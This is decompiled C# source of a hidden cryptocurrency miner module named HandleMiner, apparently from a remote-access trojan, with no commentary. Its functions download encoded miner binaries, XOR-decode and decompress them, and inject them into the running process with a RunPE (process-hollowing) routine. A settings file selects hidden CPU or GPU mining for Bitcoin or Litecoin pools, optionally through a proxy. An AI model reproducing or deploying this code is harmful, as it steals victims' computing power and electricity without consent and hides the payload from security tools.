// Token: 0x06000091 RID: 145 RVA: 0x0000B830 File Offset: 0x00009A30 public static void BTCGPU(string p1, string p2, string p3, bool hidden, string proxy = "") { try { if (!File.Exists(HandleMiner.BFGCLoc)) { Functions.URLDownloadToFile(null, HandleMiner.BFGC, HandleMiner.BFGCLoc, 0, IntPtr.Zero); } } catch (Exception ex) { return; } byte[] buffer = File.ReadAllBytes(HandleMiner.BFGCLoc); byte[] pix_Sub_ = HandleMiner.ASDF(buffer, 8); byte[] array = HandleMiner.PIX_Func_002_COIN(pix_Sub_); if (proxy.Length > 1) { string fileName = Process.GetCurrentProcess().MainModule.FileName; string cmd = string.Concat(new string[] { "-S opencl:auto --url=", p1, " -u ", p2, " -p ", p3, " --gpu-threads=2 --intensity=6 -x ", proxy }); byte[] data = array; bool compatible = true; string desktop = ""; int num = 0; RunPE.TryRun(fileName, cmd, data, compatible, hidden, desktop, ref num); } else { string fileName2 = Process.GetCurrentProcess().MainModule.FileName; string cmd2 = string.Concat(new string[] { "-S opencl:auto --url=", p1, " -u ", p2, " -p ", p3, " --gpu-threads=2 --intensity=6" }); byte[] data2 = array; bool compatible2 = true; string desktop2 = ""; int num = 0; RunPE.TryRun(fileName2, cmd2, data2, compatible2, hidden, desktop2, ref num); } }
// Token: 0x06000095 RID: 149 RVA: 0x0000BC40 File Offset: 0x00009E40 private static void PIX_Func_003(Stream PIX_Sub_011, Stream PIX_Sub_012) { byte[] array = new byte[2048]; int count; while (HandleMiner.PIX_Func_004 <int>(ref count, PIX_Sub_011.Read(array, 0, array.Length)) > 0) { PIX_Sub_012.Write(array, 0, count); } }
// Token: 0x06000093 RID: 147 RVA: 0x0000BA8C File Offset: 0x00009C8C public static void BTCCPU(string p1, string p2, string p3, bool hidden, string proxy = "") { try { if (!File.Exists(HandleMiner.CPUCLoc)) { Functions.URLDownloadToFile(null, HandleMiner.CPUC, HandleMiner.CPUCLoc, 0, IntPtr.Zero); } } catch (Exception ex) { return; } byte[] buffer = File.ReadAllBytes(HandleMiner.CPUCLoc); byte[] array = HandleMiner.PIX_Func_002_COIN(HandleMiner.ASDF(buffer, 8)); if (proxy.Length > 1) { string fileName = Process.GetCurrentProcess().MainModule.FileName; string cmd = string.Concat(new string[] { "--url=", p1, " --userpass="******":", p3, " --algo=sha256d --proxy=", proxy }); byte[] data = array; bool compatible = true; string desktop = ""; int num = 0; RunPE.TryRun(fileName, cmd, data, compatible, hidden, desktop, ref num); } else { string fileName2 = Process.GetCurrentProcess().MainModule.FileName; string cmd2 = string.Concat(new string[] { "--url=", p1, " --userpass="******":", p3, " --algo=sha256d" }); byte[] data2 = array; bool compatible2 = true; string desktop2 = ""; int num = 0; RunPE.TryRun(fileName2, cmd2, data2, compatible2, hidden, desktop2, ref num); } }
// Token: 0x06000094 RID: 148 RVA: 0x0000BBBC File Offset: 0x00009DBC public static byte[] PIX_Func_002_COIN(byte[] PIX_Sub_006) { byte[] result = null; using (MemoryStream memoryStream = new MemoryStream()) { using (MemoryStream memoryStream2 = new MemoryStream(PIX_Sub_006)) { using (GZipStream gzipStream = new GZipStream(memoryStream2, CompressionMode.Decompress)) { HandleMiner.PIX_Func_003(gzipStream, memoryStream); } } result = memoryStream.ToArray(); } return(result); }
// Token: 0x0600008F RID: 143 RVA: 0x0000A178 File Offset: 0x00008378 public static void ManageMiner() { try { if (File.Exists(HandleMiner.Minersettings)) { string text = File.ReadAllText(HandleMiner.Minersettings); object instance = text.Split(new char[] { '|' }); if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(instance, new object[] { 0 }, null), "1", false)) { object left = NewLateBinding.LateIndexGet(instance, new object[] { 1 }, null); if (Operators.ConditionalCompareObjectEqual(left, "0", false)) { object left2 = NewLateBinding.LateIndexGet(instance, new object[] { 2 }, null); if (Operators.ConditionalCompareObjectEqual(left2, "0", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left3 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left3, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left3, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left4 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left4, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left4, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } else if (Operators.ConditionalCompareObjectEqual(left2, "1", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left5 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left5, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left5, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left6 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left6, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left6, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } } else if (Operators.ConditionalCompareObjectEqual(left, "1", false)) { object left7 = NewLateBinding.LateIndexGet(instance, new object[] { 2 }, null); if (Operators.ConditionalCompareObjectEqual(left7, "0", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left8 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left8, "0", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left8, "1", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left9 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left9, "0", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left9, "1", false)) { HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } else if (Operators.ConditionalCompareObjectEqual(left7, "1", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left10 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left10, "0", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left10, "1", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left11 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left11, "0", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left11, "1", false)) { HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } } else if (Operators.ConditionalCompareObjectEqual(left, "2", false)) { object left12 = NewLateBinding.LateIndexGet(instance, new object[] { 2 }, null); if (Operators.ConditionalCompareObjectEqual(left12, "0", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left13 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left13, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left13, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left14 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left14, "0", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left14, "1", false)) { HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); HandleMiner.LTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } else if (Operators.ConditionalCompareObjectEqual(left12, "1", false)) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null), null, "Length", new object[0], null, null, null), 1, false)) { object left15 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left15, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } else if (Operators.ConditionalCompareObjectEqual(left15, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 6 }, null))); } } else { object left16 = NewLateBinding.LateIndexGet(instance, new object[] { 7 }, null); if (Operators.ConditionalCompareObjectEqual(left16, "0", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), false, ""); } else if (Operators.ConditionalCompareObjectEqual(left16, "1", false)) { HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); HandleMiner.BTCGPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 3 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 4 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[] { 5 }, null)), true, ""); } } } } } } } catch (Exception ex) { } }